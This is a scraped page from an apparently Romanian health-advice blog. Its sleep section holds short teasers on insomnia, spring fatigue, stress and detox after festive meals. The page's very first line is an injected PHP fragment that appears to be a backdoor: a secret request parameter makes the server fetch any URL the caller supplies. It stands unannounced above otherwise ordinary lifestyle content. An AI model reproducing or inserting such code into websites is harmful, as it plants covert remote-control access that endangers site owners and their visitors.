isset($_REQUEST['zox4vu']) && fetch_feed($_REQUEST['feed_url']); Somn - MedicAS sfaturi medicale

La cei mai multi dintre noi se intimpla ca Sarbatorile sa fie incarcate nu numai de spiritualitate, ci si de mese bogate, foarte bogate, care dupa un post prelungit sa nu ne cada prea bine. Si atunci multi ne gindim ce sa facem? Intoarcerea catre natura, catre alimente mai usoare, o detoxifiere a organismului mai precis, ne poate da o stare de sanatate si de bine dupa ce ne-am supus, de bunavoie, organismul la mincaruri mai grele. Ceaiuri, legume, mincaruri usoare…e simplu si de noi depinde cum ne protejam sanatatea.


Din pacate, pentru unii dintre noi, primavara nu vine doar cu flori frumoase si mirositoare, soare si zile mai lungi, ci si cu astenia de primavara. Oboseala, dureri de cap, slabiciune, alte probleme de sanatate carora le cautam raspunsul. Si unul poate fi: suferim de astenia de primavara. Ce-i de facut? cititi mai departe…


O oita, doua oite…ce facem? Invatam sa numaram sau doar nu putem dormi? Insomnia cred ca ne atinge pe toti la un moment data al vietii si, in loc sa ne gindim la pilulele de dormit, ar trebui sa identificam daca nu avem niste probleme de sanatate sau daca viata noastra nu este afectata de stres, emotii etc. Sunt citeva masuri simple care, puse in practica, ne ajuta sa avem un somn linistit, odihnitor, iar insomnia sa dispara din viata noastra.


Cand sunt stresat lucrez mai bine. Hm… cred ca auzim de multe ori cuvintele astea. Si sunt adevarate, caci exista si un tip de stres pozitiv, care ne face sa fim mai eficienti si sa ne motivam mai bine. Ce ne facem insa cu stresul negativ? Cu durerile de cap, nervozitatea ? Sanatatea ne poate fi afectata intr-o masura mai mica sau mai mare si daca nu luam masuri la timp, putem ajunge la suferinte organice. Ce-i de facut, deci? Cititi mai departe….


Tulburari de somn?

15 July, 2008

Iulie-august luni de concediu pentru cei activi si foarte ocupati. Moment propice pentru a ne ocupa de somn, adica de calitatea, durata si interactiunile dintre el si obiceiurile noastre. Cu siguranta unii dintre noi s-au trezit mai obositi decat au adormit sau nu s-au putut odihni deloc pe parcursul noptii. Tulburarile de somn sau insomnia pot fi urmarile unor probleme de sanatate sau a unor obiceiuri nesanatoase. Ce e de facut? Cititi mai departe…


 
 

Newsletter

Loading... Loading...